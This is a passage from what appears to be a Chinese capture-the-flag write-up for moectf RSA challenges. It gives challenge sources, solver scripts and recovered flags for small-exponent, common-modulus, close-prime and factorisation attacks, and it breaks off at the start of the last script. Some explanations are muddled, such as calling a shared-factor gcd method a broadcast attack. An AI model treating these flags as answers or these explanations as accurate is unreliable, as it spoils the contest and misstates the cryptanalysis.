n = 553409369582823237678532685244026647155180191225879439432235077135813123637186465008813830373646133388592395760175777499266561095087891764348044063111935877931069321764391883899483374576303169645488542398590564148654412004383012178107972880058460460806768779452529433458826925606225797078653905380530651390617109384086518728626571028089036812787671647095695947167204428442727185744172445701874820612799168887428075695751162763647868386879374037826876671079326544820609721731078985096813307183878793033824330869698508952853770794414757655681370862323768018291030331209143189638496644361618184164228294031490537429556439588954274708598530042700988138862000054458742762198052079867259365645914383561162796796952346445529346145323567650621600171442575319262718389389870407629339714751583360252884338116164466349449862781112019462555743429653595045695696967783338371470032332852204294900011651434678829104876529439166176589508898757122660322523937330848536715937381297551894198974459004139082562228022412335520195652419375915216074658463954339332593244483927157329404652516225481116614815221154229491846087288087715884363786672244655901308480290011237244562251084095684531716327141154558809471185132979704992609461470501119328696999713829
k = 0
while 1:
res = gmpy2.iroot(k * n + c, e)
if res[1]:
print(bytes.fromhex(hex(res[0])[2:])) # b'moectf{SMaLL_3xPon3nt_Mak3_rSa_w3ak!_!lP0iYlJf!M3rux9G9Vf!JoxiMl903lllA}'
break
k += 1
bad_E
源代码如下。
from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
e = 65537
print(p) # 6853495238262155391975011057929314523706159020478084061020122347902601182448091015650787022962180599741651597328364289413042032923330906135304995252477571
print(q) # 11727544912613560398705401423145382428897876620077115390278679983274961030035884083100580422155496261311510530671232666801444557695190734596546855494472819
with open("flag.txt","r") as fs:
flag = fs.read().strip()
m = bytes_to_long(flag.encode())
c = pow(m,e,p*q)
print(c) # 63388263723813143290256836284084914544524440253054612802424934400854921660916379284754467427040180660945667733359330988361620691457570947823206385692232584893511398038141442606303536260023122774682805630913037113541880875125504376791939861734613177272270414287306054553288162010873808058776206524782351475805
因为我们知道了p和q,第一反应就是求出d,那这题不就解决了吗。可问题就出现在求d上了。我们都知道d是当e和(p-1)*(q-1)互素的情况下求出来的逆元,可是这题e和(p-1)*(q-1)不互素,所以用常规的方法就不行了。求gcd(e,(p-1))和gcd(e,(q-1)),发现e与q-1互素,而我们都知道有以下公式:
m = c^d mod n
==>
m=c^d mod p
m=c^d mod q
(注:此推论满足的前提是------在c不是p或q的倍数,以及d是正整数的情况下,m = c ^ d modp 和m = c ^ d modq 总是成立的,有兴趣的同志们可以自行查找推导过程,这里就不过多说了)
故这题可以使用以下代码求解:
d = invert(e,q-1)
m = pow(c,d,q)
完整代码如下:
from Crypto.Util.number import *
import gmpy2
p = 6853495238262155391975011057929314523706159020478084061020122347902601182448091015650787022962180599741651597328364289413042032923330906135304995252477571
q = 11727544912613560398705401423145382428897876620077115390278679983274961030035884083100580422155496261311510530671232666801444557695190734596546855494472819
c = 63388263723813143290256836284084914544524440253054612802424934400854921660916379284754467427040180660945667733359330988361620691457570947823206385692232584893511398038141442606303536260023122774682805630913037113541880875125504376791939861734613177272270414287306054553288162010873808058776206524782351475805
e = 65537
n = p * q
# a = gmpy2.gcd(e, p - 1)
# b = gmpy2.gcd(e, q - 1)
# print(a, b)
phi = (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, q)
print(long_to_bytes(m)) # b'moectf{N0w_Y0U_hAve_kN0w_h0w_rsA_w0rks!_f!lP0iYlJf!M3ru}'
factor_signin
源代码如下
from Crypto.Util.number import getPrime
from math import prod
with open("flag.txt","rb") as f:
flag = f.read().strip()
assert len(flag) == 72
m1 = int.from_bytes(flag[:36],"big")
m2 = int.from_bytes(flag[36:],"big")
e = 65537
p,q = getPrime(2048),getPrime(2048)
n1 = p*q
c1 = pow(m1,e,n1)
print("c1 = ",c1)
print("n1 = ",n1)
primes = [getPrime(64) for _ in range(32)] # 随机生成32个素数
n2 = prod(primes) # 对primes列表中的数字计算乘积
c2 = pow(m2,e,n2)
print("c2 = ",c2)
print("n2 = ",n2)
# c1 = 10004937130983861141937782436252502991050957330184611684406783226971057978666503675149401388381995491152372622456604317681236160071166819028679754762162125904637599991943368450200313304999566592294442696755822585022667008378021280392976010576970877334159755332946926433635584313137140987588847077645814987268595739733550220882135750267567373532603503399428451548677091911410732474324157868011686641243202218731844256789044721309478991918322850448456919991540932206923861653518190974620161055008847475600980152660468279765607319838003177639654115075183493029803981527882155542925959658123816315099271123470754815045214896642428657264709805029840253303446203030294879166242867850331945166255924821406218090304893024711068773287842075208409312312188560675094244318565148284432361706108491327014254387317744284876018328591380705408407853404828189643214087638328376675071962141118973835178054884474523241911240926274907256651801384433652425740230755811160476356172444327762497910600719286629420662696949923799255603628210458906831175806791599965316549386396788014703044837917283461862338269599464440202019922379625071512100821922879623930069349084917919100015782270736808388388006084027673781004085620817521378823838335749279055639005125
# n1 = 343504538870081878757729748260620800783581983635281373321527119223374418103340873199654926888439040391545101913132680017655039577253974802351999985470115474655124168592386965001556620077117966153475518658881140827499124290142523464795351995478153288872749817655925271395693435582010998996210909883510311066017237567799370371513462802547313382594409676803895262837061350017911885033133654781876923251129406855067993830824618637981136966134029212516871210627954762147349788788999116702635535406398258621926040887099782494271000823401788337120154104692934583729065189687995570122890809807661370008740283447636580308161498808092269041815719148127168137018600113465985504975054319601741498799761500526467431533990903047624407330243357514588557352746347337683868781554819821575385685459666842162355673947984514687068626166144076257334426612302554448774082488600083569900006274897032242821388126274957846236552373226099112200392102883351088570736254707966329366625911183721875374731791052229266503696334310835323523568132399330263642353927504971311717117370721838701629885670598853025212521537158141447625623337563164790788106598854822686494249848796441153496412236527242235888308435573209980270776407776277489669763803746640746378181948641
# c2 = 4948422459907576438725352912593232312182623872749480015295307088166392790756090961680588458629287353136729331282506869598853654959933189916541367579979613191505226006688017103736659670745715837820780269669982614187726024837483992949073998289744910800139692315475427811724840888983757813069849711652177078415791290894737059610056340691753379065563574279210755232749774749757141836708161854072798697882671844015773796030086898649043727563289757423417931359190238689436180953442515869613672008678717039516723747808793079592658069533269662834322438864456440701995249381880745586708718334052938634931936240736457181295
# n2 = 8582505375542551134698364096640878629785534004976071646505285128223700755811329156276289439920192196962008222418309136528180402357612976316670896973298407081310073283979903409463559102445223030866575563539261326076167685019121804961393115251287057504682389257841337573435085535013992761172452417731887700665115563173984357419855481847035192853387338980937451843809282267888616833734087813693242841580644645315837196205981207827105545437201799441352173638172133698491126291396194764373021523547130703629001683366722885529834956411976212381935354905525700646776572036418453784898084635925476199878640087165680193737
此题需要分别求m1和m2,先说求m1,这个是比较简单的。知道了n1,直接进行大数分解得到p和q,那求m1就是小问题了。

脚本如下:
c1 = 10004937130983861141937782436252502991050957330184611684406783226971057978666503675149401388381995491152372622456604317681236160071166819028679754762162125904637599991943368450200313304999566592294442696755822585022667008378021280392976010576970877334159755332946926433635584313137140987588847077645814987268595739733550220882135750267567373532603503399428451548677091911410732474324157868011686641243202218731844256789044721309478991918322850448456919991540932206923861653518190974620161055008847475600980152660468279765607319838003177639654115075183493029803981527882155542925959658123816315099271123470754815045214896642428657264709805029840253303446203030294879166242867850331945166255924821406218090304893024711068773287842075208409312312188560675094244318565148284432361706108491327014254387317744284876018328591380705408407853404828189643214087638328376675071962141118973835178054884474523241911240926274907256651801384433652425740230755811160476356172444327762497910600719286629420662696949923799255603628210458906831175806791599965316549386396788014703044837917283461862338269599464440202019922379625071512100821922879623930069349084917919100015782270736808388388006084027673781004085620817521378823838335749279055639005125
n1 = 343504538870081878757729748260620800783581983635281373321527119223374418103340873199654926888439040391545101913132680017655039577253974802351999985470115474655124168592386965001556620077117966153475518658881140827499124290142523464795351995478153288872749817655925271395693435582010998996210909883510311066017237567799370371513462802547313382594409676803895262837061350017911885033133654781876923251129406855067993830824618637981136966134029212516871210627954762147349788788999116702635535406398258621926040887099782494271000823401788337120154104692934583729065189687995570122890809807661370008740283447636580308161498808092269041815719148127168137018600113465985504975054319601741498799761500526467431533990903047624407330243357514588557352746347337683868781554819821575385685459666842162355673947984514687068626166144076257334426612302554448774082488600083569900006274897032242821388126274957846236552373226099112200392102883351088570736254707966329366625911183721875374731791052229266503696334310835323523568132399330263642353927504971311717117370721838701629885670598853025212521537158141447625623337563164790788106598854822686494249848796441153496412236527242235888308435573209980270776407776277489669763803746640746378181948641
p = 18055722101348711626577381571859114850735298658417345663254295930584841136416234624852520581982069555948490061840244710773146585295336094872892685938420880462305333393436098181186277450475949236132458958671804132443554885896037342335902958516394876382378829317303693655605215373555988755516058130500801822723195474873517960624159417903134580987202400855946137101429970119186394052011747475879598126195607938106163892658285305921071673588966184054026228745012993740035399652049777986535759039077634555909031397541116025395236871778797949216479130412500655359057128438928721459688727543057760739527720641179290282309741
q = 19024691283015651666032297670418553586155390575928421823630922553034857624430114628839720683172187406577114034710093054198921843669645736474448836706112221787749688565566635453151716934583685087745112614898780150391513798368931496744574075511968933800467288441832780919514199410584786925010518564670786685241724643282580795568609339268652910564215887176803735675069372979560024792322029911970574914829712553975379661212645059271137916107885326625543090473004683836665262304916304580076748336858662108554591235698235221618061328251985929904075811056422186525179189846420226944944513865790999242309352900287977666792901
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c1, d, n1)
print(long_to_bytes(m)) # moectf{fACtord6_And_YAfu_Are_6oth_go
再说求m2,由于n2是32个素数相乘得到的,想再利用n去求出p和q是比较困难的,所以得换一种思路。首先我们得先知道一个定理:当n有多个素因数时,多个素因数的欧拉与n=p*q的欧拉是一样的,故这题也可以通过大数分解,拿到那32个素因数,用32个素因数的欧拉值来代替p*q的欧拉值。

脚本如下:
c2 = 4948422459907576438725352912593232312182623872749480015295307088166392790756090961680588458629287353136729331282506869598853654959933189916541367579979613191505226006688017103736659670745715837820780269669982614187726024837483992949073998289744910800139692315475427811724840888983757813069849711652177078415791290894737059610056340691753379065563574279210755232749774749757141836708161854072798697882671844015773796030086898649043727563289757423417931359190238689436180953442515869613672008678717039516723747808793079592658069533269662834322438864456440701995249381880745586708718334052938634931936240736457181295
n2 = 8582505375542551134698364096640878629785534004976071646505285128223700755811329156276289439920192196962008222418309136528180402357612976316670896973298407081310073283979903409463559102445223030866575563539261326076167685019121804961393115251287057504682389257841337573435085535013992761172452417731887700665115563173984357419855481847035192853387338980937451843809282267888616833734087813693242841580644645315837196205981207827105545437201799441352173638172133698491126291396194764373021523547130703629001683366722885529834956411976212381935354905525700646776572036418453784898084635925476199878640087165680193737
primes = [9949603102225364603, 10049235158029375571, 10547615587767500213, 10596280721192026229, 10864078180916418691,
11092420583960163379, 11853704782834170959, 12034779627328165471,
12404642343676224637, 12448177342966243757, 13062839684118954553, 13645878578452317313, 14397830993057803133,
14619040595108594017, 14678737767649343977, 14745811312384518031,
14813953870710226847, 15175734709842430433, 15211380502610462057, 15332916111580607077, 15751974537676958401,
16123604149048919099, 16408421615173973083, 16870346804576162551,
17093292308638969889, 17265001711647542137, 17289161209347211817, 17543713628803023199, 17673334943789572513,
18106525049998616747, 18345408081492711641, 18390046459144888243]
phi = 1
for i in primes:
phi *= (i - 1)
d = invert(e, phi)
m = pow(c2, d, n2)
print(long_to_bytes(m)) # od_utils_to_fACtorize_num6ers_ff90S}
n&n
源代码如下。
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
with open("flag.txt","r") as f:
flag = f.read().strip().encode()
m = bytes_to_long(flag)
n = p * q
e1 = 0x114514
e2 = 19198101
c1 = pow(m,e1,n)
c2 = pow(m,e2,n)
print(c1)
print(c2)
print(n)
# 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
# 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
# 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531
这题就是共模攻击了(n,m相同,c,e不同)。当n不变的情况下,知道n,e1,e2,c1,c2可以在不知道d1,d2的情况下解出m。
证明如下:
首先假设e1,e2互质,即gcd(e1,e2)=1,,此时则有e1s1+e2s2=1,其中s1,s2皆为正数,但是一正一负。
通过扩展欧几里得算法,我们可以得到该式子的一组解(s1,s2),假设s1为正数,s2为负数。
因为c1=m^e1 mod n,c2=m^e2 mod n,所以(c1^s1*c2^s2) mod n =((m^e1 mod n)^s1*(m^e2 mod n)^s2) mod n。
根据模运算性质,可以化简为(c1^s1*c2^s2) mod n = ((m^e1)^s1*(m^e2)^s2)mod n,
即(c1^s1*c2^s2) mod n = (m^(e1s1+e2s2)) mod n。
前面又提到e1s1+e2s2=1,所以(c1^s1*c2^s2) mod n = m mod n,即c1^s1*c2^s2=m。
脚本如下:
import gmpy2 as gp
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
n = 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531
c1 = 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
c2 = 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
e1 = 0x114514
e2 = 19198101
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = gp.invert(c1, n)
elif s2<0:
s2 = - s2
c2 = gp.invert(c2, n)
m = pow(c1,s1,n)*pow(c2,s2,n) % n
print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:])) # b'moectf{dO_nOt_u53_5AM3_MOdulu5_tO_3ncrYPt_dIFF3r3nt_dAtA!_JY63x33iiA0Ji}'
|p-q|
源代码如下。
with open("flag.txt","rb") as fs:
flag = fs.read().strip()
assert len(flag) == 72
m = int.from_bytes(flag,"big")
from Crypto.Util.number import getPrime, isPrime
def next_prime(p):
while True:
p += 2
if isPrime(p):
return p
p = getPrime(2048)
q = next_prime(p)
n = p * q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("c =",c)
# n = 329960318345010350458589325571454799968957932130539403944044204698872359769449414256378111233592533561892402020955736786563103586897940757198920737583107357264433730515123570697570757034221232010688796344257587359198400915567115397034901247038275403825404094129637119512164953012131445747740645183682571690806238508035172474685818036517880994658466362305677430221344381425792427288500814551334928982040579744048907401043058567486871621293983772331951723963911377839286050368715384227640638031857101612517441295926821712605955984000617738833973829140899288164786111118033301974794123637285172303688427806450817155786233788027512244397952849209700013205803489334055814513866650854230478124920442832221946442593769555237909177172933634236392800414176981780444770542047378630756636857018730168151824307814244094763132088236333995807013617801783919113541391133267230410179444855465611792191833319172887852945902960736744468250550722314565805440432977225703650102517531531476188269635151281661081058374242768608270563131619806585194608795817118466680430500830137335634289617464844004904410907221482919453859885955054140320857757297655475489972268282336250384384926216818756762307686391740965586168590784252524275489515352125321398406426217
# c = 307746143297103281117512771170735061509547958991947416701685589829711285274762039205145422734327595082350457374530975854337055433998982493020603245187129916580627539476324521854057990929173492940833073106540441902619425074887573232779899379436737429823569006431370954961865581168635086246592539153824456681688944066925973182272443586463636373955966146029489121226571408532284480270826510961605206483011204059402338926815599691009406841471142048842308786000059979977645988396524814553253493672729395573658564825709547262230219183672493306100392069182994445509803952976016630731417479238769736432223194249245020320183199001774879893442186017555682902409661647546547835345461056900610391514595370600575845979413984555709077635397717741521573798309855584473259503981955303774208127361309229536010653615696850725905168242705387575720694946072789441481191449772933265705810128547553027708513478130258801233619669699177901566688737559102165508239876805822898509541232565766265491283807922473440397456701500524925191214292669986798631732639221198138026031561329502985577205314190565609214349344303324429408234237832110076900414483795318189628198913032900272406887003325858236057373096880675754802725017537119549989304878960436575670784578550
从代码中可以看出p是随机生成的,但q是在p的基础上每次加2,如果q是素数了,就退出。故此题可以先对n开平方,则p和q肯定在n开平方后的数的两侧。故可以利用sympy库中的nextprime, prevprime函数来求得p和q,剩下的就好办了。脚本如下:
from Crypto.Util.number import *
from gmpy2 import *
from sympy import nextprime, prevprime
e = 65537
n = 329960318345010350458589325571454799968957932130539403944044204698872359769449414256378111233592533561892402020955736786563103586897940757198920737583107357264433730515123570697570757034221232010688796344257587359198400915567115397034901247038275403825404094129637119512164953012131445747740645183682571690806238508035172474685818036517880994658466362305677430221344381425792427288500814551334928982040579744048907401043058567486871621293983772331951723963911377839286050368715384227640638031857101612517441295926821712605955984000617738833973829140899288164786111118033301974794123637285172303688427806450817155786233788027512244397952849209700013205803489334055814513866650854230478124920442832221946442593769555237909177172933634236392800414176981780444770542047378630756636857018730168151824307814244094763132088236333995807013617801783919113541391133267230410179444855465611792191833319172887852945902960736744468250550722314565805440432977225703650102517531531476188269635151281661081058374242768608270563131619806585194608795817118466680430500830137335634289617464844004904410907221482919453859885955054140320857757297655475489972268282336250384384926216818756762307686391740965586168590784252524275489515352125321398406426217
c = 307746143297103281117512771170735061509547958991947416701685589829711285274762039205145422734327595082350457374530975854337055433998982493020603245187129916580627539476324521854057990929173492940833073106540441902619425074887573232779899379436737429823569006431370954961865581168635086246592539153824456681688944066925973182272443586463636373955966146029489121226571408532284480270826510961605206483011204059402338926815599691009406841471142048842308786000059979977645988396524814553253493672729395573658564825709547262230219183672493306100392069182994445509803952976016630731417479238769736432223194249245020320183199001774879893442186017555682902409661647546547835345461056900610391514595370600575845979413984555709077635397717741521573798309855584473259503981955303774208127361309229536010653615696850725905168242705387575720694946072789441481191449772933265705810128547553027708513478130258801233619669699177901566688737559102165508239876805822898509541232565766265491283807922473440397456701500524925191214292669986798631732639221198138026031561329502985577205314190565609214349344303324429408234237832110076900414483795318189628198913032900272406887003325858236057373096880675754802725017537119549989304878960436575670784578550
a = iroot(n, 2)[0]
p = prevprime(a)
q = nextprime(a)
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m)) # b'moectf{it_iS_vUlnErablE_iF_p_iS_aboUt_thE_SaME_SiZE_aS_Q_MVoAYArrlG3uco}'
rsa_signin
源代码如下。
with open("flag.txt","rb") as f:
flag = f.read().strip()
m = int.from_bytes(flag, "big")
e = 65537
from Crypto.Util.number import getPrime
for x in range(10):
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
print("n =", n)
print("c =", c)
'''
n = 17524722204224696445172535263975543817720644608816706978363749891469511686943372362091928951563219068859089058278944528021615923888948698587206920445508493551162845371086030869059282352535451058203615402089133135136481314666971507135484450966505425514285114192275051972496161810571035753943880190780759479521486741046704043699838021850105638224212696697865987677760179564370167062037563913329993433080123575434871852732981112883423565015771421868680113407260917902892944119552200927337996135278491046562185003012971570532979090484837684759828977460570826320870379601193678304983534424368152743368343335213808684523217
c = 6870605439714128574950893771863182370595667973241984289208050776870220326525943524507319708560433091378319367164606150977103661770065561661544375425887970907060665421562712515902428061727268441585629591525591001533188276465911918724808701356962871139957343861919730086334623932624184172272488406793955068827527130338853980609365042071290967556159598511667974987218999253443575482949258292953639729393456515185185102248985930422080581185292420347510600574229080211050520146551505605537486989306457793451086767402197128573781597156939709237045132856159368959981648969874765462190363842275826077556314448408825308218451
n = 24974121071274650888046048586598797033399902532613815354986756278905133499432183463847175542164798764762683121930786715931063152122056911933710481566265603626437742951648885379847799327315791800670175616973945640322985175516271373004547752061826574576722667907302681961850865961386200909397231865804894418194711076667760169256682834206788730947602211228930301853348503098156592000286467190760378847541148772869356389938999094673945092387627113807899212568399028514283219850734634544982646070106811651490010946670117927664594365986238107951837041859682547029079035013475238052160645871718246031144694712586073789250183
c = 10324627733161143472233272675096997859064721978612320424254305978486200326061730105384511258706433940176741256952824288120499229240005823611541292676234913505775165761543820764046537413943393325463602612485849366939102550336256797820440347815027443410399157963547486098366749815425187247171697678576246606105486928212486117878157055321965270364583625270716186820068538749425299073309429589410882809098930213978117176627031795312102177342499674234163614021182116065492884880492891668658240362567156235958605768725892407536211503981819707919444725863397622629226309480836486427388484176463279384813974310500625102568341
n = 14215826065753265334521416948225868542990756976323308408298887797364519400310818641526401662106853573185085731682502059761982246604277475488691297554851873224516934619888327644352138127883043558424300092247604877819821625587944308487310522092440517150600171819145803937177931473336108429889165189521078678397694303305705260759351843006130968234071638035667854938070597400634242396852782331461576526836227336952718230741560369621645218729592233657856104560425642219241082727756696967324334634822771842625681505869025740662258929200756109704988223034840699133778958569054445520305361142302393767439478256174414187983763
c = 415916446053083522663299405080903121619846594209033663622616979372099135281363175464579440520262612010099820951944229484417996994283898028928384268216113118778734726335389504987546718739928112684600918108591759061734340607527889972020273454098314620790710425294297542021830654957828983606433731988998097351888879368160881316237557097381718444193741788664735559392675419489952796677690968481917700683813252460912749931286739585465657312416977086336732056497161860235343155953578618273940135486362350057858779130960380833359506761436212727289297656191243565734621757889931250689354508999144817518599291078968866323093
n = 12221355905532691305226996552124162033756814028292708728711809229588190407700199452617060657420166395065565154239801465361510672853972152857415394695376825120759202857555325904640144375262531345320714166285999668052224661520834318497234299585219832943519644095197479639328120838919035625832361810964127485907587199925564724081163804724975965691571850962714258888527902920462746795712011579424322515292865504642938090200503979483095345893697972170153990274670257331483858538617460680462369680572833191232126527727222302641204529110948993583190295067970240051042000918629138767209918572311469915774910003970381965123241
c = 2248834602646305164283014556051672824689884721514190813323189875541899566338153534858709617544459297836048770439230174669883719627734394673012731609952869246171300132019334542245094425654362711870373095782083791160029789553806741967408922001051006100049326921742208757147339981269528740944842177729701945606827918253016001436218891580980192743564642120923356793292885805519110411357830040053435569937296612987581482128241218218550319154933831743819546558930918761162723110000328532730751591375727881221199739397698390594797621758011191224528339478784930214820615602510460640307707682865125229937141010351138099874025
n = 18152103454920389919231636321286527841833809319334215885641536161086810144890443857211776387914779781628740172079478910188540146498426564211851629962338413488555121865779016981727229209606498886170396500155102635962395243364899026418106378234307821492609778555173516000309435730752571818439328803899462791834490025768785383592935046996428331508608555503567191807692523852530836008436655164751054189301721070209363416058642811329040202582026786024825518381761299547703962502636888833428457116986351812252188468878701301184044948733274488264320930936362549028124581962244201377136969591119942276742760215403738913067567
c = 2797812094994121597295362327809389195134238119144547570610194659000554967367804835006774413888965325870488368112707535584687083342412367127561646136089638402907513075405746055834487062923240856950047936297155455745928810738711368950139327254040579266046642851362228893522740216519732851152162928545416236075387903789535000820423985522550638100049857678600662008021574841083416323980817348573062083159710189689337626277009675683473560325178417766400002763719953723259300977655801234386662217462862844994462505601804422871991694828697337752697234180117437785537788728412520613916334045368736691714704501962513954509705
n = 22877887459293720334652698748191453972019668578065068224653972884599636421200068659750242304040301306798039254241668648594556654589309801728248683586229288074709849246660525799452637187132633064172425677552176203292787732404537215347782229753837476655088638984496409603054524994383358547132112778403912563916886533181616856401929346567686400616307916690806467019665390260267596320840786982457521423178851498130935577260638269429250197050326097193841333205073650802709022947551398142692735680419453533128176592587955634333425401930362881423044363132586170013458300714163531162544301477356808388416864173949089028317961
c = 12271947322974809255127222556723394446467844330408506340843897575503534175121932185624776713618037572593449207329510171212097269297133492090526270770286000839978630002819714376964416081198925899119135271459404333829811516667576167576916805217016117373027245648473458331936273975110163065432285322832123169216976420362833557809289561705091817949915218278430834098156335989014645979633658818904753942786129126233956314517292746008579152368541316795082120147520597254020266752859205131887527661767589367756335766220841483940854397440079467053684289006956034944336788288196391829411432383541473132962783883758561108297747
n = 19844333358004073542783728196775487079202832688982038135532362073659058674903791697765527614270399097276261983744620537925712167578187109058145015032736796457938148615396547198728652435169126585595701228287449135664667959433491335769206692390262797325133960778920452511673878233190120432257482339068405290918739453464061987163074129048150451046315248186376609350095502130018696275764450248681787926130463463923862832714969425813770847493135627599129546112143050369344208092649256659330284904392961574494907186727388685504929586018639846040474616307662546605623294842316524163106100888851228858194942825157286544846177
c = 9531264751315473345056673937611382755236533664089452852716992791452558274873158812669513178040971923528201631609089069182049526587423864397527252061341857426422965190913745048414029690931254119437249218321954899956104589066479231204536856131403590472063496956452030342299863907499976917750846369802185896519725837163530049157920978007252920334447236842959033879772444475877613295594785710745889554296655932909212643500877218304116451889820444820534937901427158918411546484157737612926382420354101675658160847653151539420222526999426483473829341628599881460824765758346670633385844187252696874025582747177333702736465
n = 16956880944655068255446705024149899655327230949463546092744762226005904114738078692036960935391303255804754787864713189658290361949509917704853428701870609882427423574672772606814823959758208695540116440342488334213300943604780971422918744381486937517952553797134323570131582724393100092308466968491068503301604506186521656059375518680612292667310641047190088814753025794048591445267711939066523165042651430468971452726568222388482323097260496415484997546126185688914792795834046855221759289007609518312601640548469651358391745947588643697900883634533872314566389446271647587564348026861264979727062157272541149018781
c = 16110326928338602237561005337578085623028116490564329920738844771341250444164294693848130674347672763073995755532723894042946521372321947507527854966013459795492930736187058535665041545095683801386814190612817128504426590828954205050425979880047802547011117626354405687170961272200066258220699329112978151044633994329352673342582175349200008181837211288847301836681860817044391028992501763375849046751094019224570802498414368189170656992427042010362385494565216988561215657424755648213390551881450141899860811844684546992754530755092358644968088017107313907435586729574798046187046145596726569637758312033849476689378
n = 16472195897077185060734002588086375750797253422014472876266294484788862733424113898147596402056889527985731623940969291811284437034420929030659419753779530635563455664549165618528767491631867637613948406196511848103083967995689432928779805192695209899686072900265108597626632371718430059561807147486376536203800038054012500244392964187780217667805308512187849789773573138494622201856638931435423778275004491853486855300574479177472267767506041000072575623287557610576406578525902565241580838652860552046216587141709709405062150243990097835181557208274750462554811004137033087430556692966525170882625891516050207318491
c = 11867731823522211833301190385669833752050387304375114576570892885641949969365352586215693183003550684262313893105989683214739695968039039944442567581277252581988489020834299896625977474857889570528169919064941042132119301236852358823696947330423679033138054012027878783478922023431469564210485180679933264749281963405243082505688901662659030897104957499953192201440290084373968716271056483463909282407034181891901928790601973222643210525000717355062752079302291729448234374709852429885984987094307177760741403086538949190424454337896501402430653783597070178968921411867485584517214777073301007918941216316241784521708
n = 13890749889361612188368868998653029697326614782260719535555306236512452110708495623964530174188871342332417484996749651846510646453983388637377706674890018646246874688969342600780781646175634455109757266442675502522791531161284420286435654971819525519296719668701529481662071464145515727217108362496784024871976015116522898184301395037566514980846499856316532479656908169681719288258287756566886281183699239684997698487409138330229321935477734921670373632304542254938831218652340699024011371979519574576890581492623709896310465567043899767342676912434857372520308852745792360420376574037705943820090308501053778144141
c = 6250115196713939477947942995075509357173312813431601073354390451609559579925704891503987992181988654989477525811826607070378476102616752398280691012244301950194800995432882828020405062344160270290542566163969692748126314259624623341922057435728127596172871894887055305291345372720594481096374310285437492746765510292863238933163142677773310305789984897974266961231555124787205980411992251387207335655129551950825339766848166539671565212408741432649813058363660321480995187545006718837863674527475323414266732366507905974800565463011676462244368010182725161416783875646259625352308599198614681446394427674340328493047
n = 21457499145521259498911107987303777576783467581104197687610588208126845121702391694574491025398113729462454256070437978257494064504146718372095872819969887408622112906108590961892923178192792218161103488204912792358327748493857104191029765218471874759376809136402361582721860433355338373725980783308091544879562698835405262108188595630215081260699112737457564998798692048522706388318528370551365364702529068656665853097899157141017378975007689790000067275142731212069030175682911154288533716549782283859340452266837760560153014200605378914071410125895494331253564598702942990036163269043699029806343766286247742865671
c = 6269656777204332618433779865483197625538144405832409880710764183039800286008967127279281167109250083159801218370191973055663058165456565194979210256278526713608759141588082614531352489547674696723140599892318118960648862531538435596775798128845789504910467783731144808685373807716609662688064728614003904579841055786083326311313295311152563668422289435606771091246147867715987583149743032723028324394173498623642539175178996531881058274717907066845565199058931743481410454382746158558886667761300257488769795092777021292335562818583719708133179974425584610403335487082478848975656282384575767178925517257692365828720
'''
题目中用相同的m和e,不同的n生成了多组c,这样的就叫做低加密指数广播攻击。解题步骤如下:(1)计算最大公约数得到p:循环遍历题目给出的n,两两求解最大公约数,得到的最大公约数可以作为p,有了p也就可以计算q。因为这里的n都很大,写求解最大公约数的脚本的时候,不要用那种效率很低的写法,会半天出不来运行结果,我用的是辗转相除法。(2)计算求解RSA明文所需的其他值:有了p,也就可以计算出q,再根据RSA的理论知识,计算出d。(3)套公式计算出明文:根据RSA的加解密公式计算出明文,在Python中用pow函数即可,三个参数分别是c、d和n。注意最后输出前要用long_to_bytes转换成Bytes输出才是flag的形式。
脚本如下:
from gmpy2 import *
from Crypto.Util.number import *
